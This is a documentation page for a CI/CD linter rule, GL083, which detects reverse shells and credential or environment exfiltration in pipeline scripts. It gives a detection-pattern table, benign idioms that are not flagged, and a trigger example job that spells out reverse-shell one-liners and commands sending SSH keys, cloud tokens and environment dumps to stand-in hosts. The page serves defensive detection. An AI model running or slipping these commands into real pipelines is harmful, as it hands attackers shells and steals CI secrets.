glsec

Rules / GL083

GL083 Reverse shell, backdoor or credential exfiltration in script

Severity: error; warn for a /proc/<pid>/mem read without a network send OWASP: CICD-SEC-4 – Poisoned Pipeline Execution

What glsec checks

A script line that connects the runner back to a host of the author's choosing and hands it a shell. glsec looks at every script surface: script:, before_script:, after_script:, default:, hooks:pre_get_sources_script, and run: steps.

Pattern What has to be on the same line
Shell redirected to a socket /dev/tcp/ or /dev/udp/, plus an interactive shell (bash -i)
Netcat with command execution nc, ncat or netcat with -e, -c or --exec/--sh-exec, whose argument names a shell
Named-pipe backdoor mkfifo together with a netcat invocation
socat with a program endpoint socat with EXEC: or SYSTEM: and a network address (TCP:, TCP-LISTEN:, UDP:, OPENSSL:)
Interpreter socket one-liner python, perl or ruby with a socket API plus dup2, subprocess, pty.spawn or exec

Credential sent to a network host

The other common injected payload does not open a shell. It reads a credential the runner holds and sends it somewhere. A credential source has to reach a network send on the same line:

Credential source
Credential file ~/.ssh/id_* (not *.pub), ~/.aws/credentials, ~/.docker/config.json, ~/.kube/config, ~/.netrc, ~/.git-credentials, ~/.config/gcloud/…, also spelled $HOME/…, /root/… or /home/<user>/…
Minted token gcloud auth print-access-token, gcloud auth print-identity-token, aws ecr get-login-password, az account get-access-token
Pattern What has to be on the same line
Credential file uploaded the file as the value of curl -F name=@, -d @, --data-binary @, -T, --upload-file, or wget --post-file=
Credential piped to a network tool a credential source in one pipeline stage and, in a later stage, nc/ncat/netcat, or curl reading stdin (@-, -T -)
Credential written to a socket a credential source plus a redirect to /dev/tcp/ or /dev/udp/
Credential copied to a remote host scp with the file as a source argument and a host: destination after it

Environment and process memory sent to a network host

The job's environment holds every CI/CD variable, masked ones included, so a dump of it is a credential source too:

Environment source
Full dump env or printenv with no arguments (the same check as GL062)
Another process /proc/<pid>/environ or /proc/<pid>/mem, where <pid> is a number, self, *, $VAR or $(…)
Process listing with environments ps run with the BSD e modifier (ps auxe, ps eww); ps -e only selects processes
Pattern What has to be on the same line
Environment piped to a network tool an environment source in one pipeline stage and a network send reading stdin in a later one, as above
Environment sent in a request an environment source inside $(…) or backticks, and curl, wget, nc, ncat or netcat elsewhere on the line
Environment written to a socket an environment source before a redirect to /dev/tcp/ or /dev/udp/

Reading /proc/<pid>/mem is reported as warn even without a network send. CI jobs have no reason to read another process's memory, and it is how injected code scrapes masked secrets from the runner process.

Every check needs a combination. Each token on its own has an ordinary use in CI, so none of them fires alone.

Why it matters

The pipeline file is code that runs with the runner's full environment before anyone sees a result: CI_JOB_TOKEN, every masked variable the job declares, the checked-out source, and whatever the runner can reach on the network. One connect-back or upload line inside a longer script: block is easy to skim past in review.

GL011 covers the other half of this problem, code fetched from a remote host and executed. A reverse shell fetches nothing, so GL011 never sees it.

Trigger example

debug-job:
  stage: test
  image: alpine:3.19.1
  script:
    - bash -i >& /dev/tcp/198.51.100.7/4444 0>&1                    # error
    - nc -e /bin/sh 198.51.100.7 4444                               # error
    - mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 198.51.100.7 4444 > /tmp/f  # error
    - socat TCP:198.51.100.7:4444 EXEC:/bin/bash                    # error
    - cat ~/.ssh/id_rsa | nc 198.51.100.7 4444                      # error
    - curl -F "f=@$HOME/.aws/credentials" https://collect.example.net/u   # error
    - gcloud auth print-access-token | curl -d @- https://collect.example.net/t  # error
    - env | curl -d @- https://collect.example.net/e                 # error
    - curl -d "$(cat /proc/*/environ | base64)" https://collect.example.net/e  # error
    - cat /proc/$PID/mem > /tmp/m                                   # warn

What is not flagged

These are the idioms that a looser rule would break:

script:
  - timeout 1 bash -c "cat < /dev/null > /dev/tcp/postgres/5432"       # wait for a service, no interactive shell
  - if (exec 3<>/dev/tcp/postgres/5432) 2>/dev/null; then echo up; fi  # the same probe, read-write form
  - nc -z postgres 5432                                                # port check, no -e/-c
  - nc -lc "printf 'HTTP/1.1 200 OK\n\n'; cat report.json" -l 8080     # one-shot responder, the command is not a shell
  - socat TCP-LISTEN:15432,fork TCP:postgres:5432 &                    # port forward, no program endpoint
  - socat EXEC:'psql -c "select 1"',pty,setsid,ctty STDIO,ignoreeof    # local command, no network endpoint
  - mkfifo /tmp/logpipe && tail -f /tmp/logpipe                        # named pipe without netcat
  - rsync -e "ssh -i ~/.ssh/id_rsa" -az dist/ user@host:/srv/          # rsync's -e, no word boundary before "nc" in "rsync"
  - echo "$DOCKER_AUTH_CONFIG" > ~/.docker/config.json                 # the job writes the credential file
  - aws ecr get-login-password | docker login --username AWS --password-stdin "$ECR"  # token handed to a login command
  - curl -H "Authorization: Bearer $(gcloud auth print-access-token)" https://storage.googleapis.com/…  # token used, not sent as data
  - scp -i ~/.ssh/id_rsa dist.tar.gz deploy@host:/srv/                  # the key scp logs in with
  - scp ~/.ssh/id_ed25519.pub deploy@host:/tmp/                         # public key
  - curl --netrc-file ~/.netrc -O https://files.example.com/a.tgz       # authenticates with the file, does not upload it

Sending a $…_TOKEN variable to an external host is deliberately not a pattern. curl -H "Authorization: Bearer $SONAR_TOKEN" is how every API call authenticates, so that check would be almost entirely false positives.

The read-write descriptor form deserves a note of its own. exec 3<>/dev/tcp/host/port reads like a reverse shell but is the ordinary way to probe a port in bash, and it appears in unrelated projects as a wait-for-service loop and even as a raw HTTP/1.0 client. What separates the two is the interactive shell, not the direction of the redirect.

Notes

See also

Documentation for glsec 1.23.0. Source of this page · Rule implementation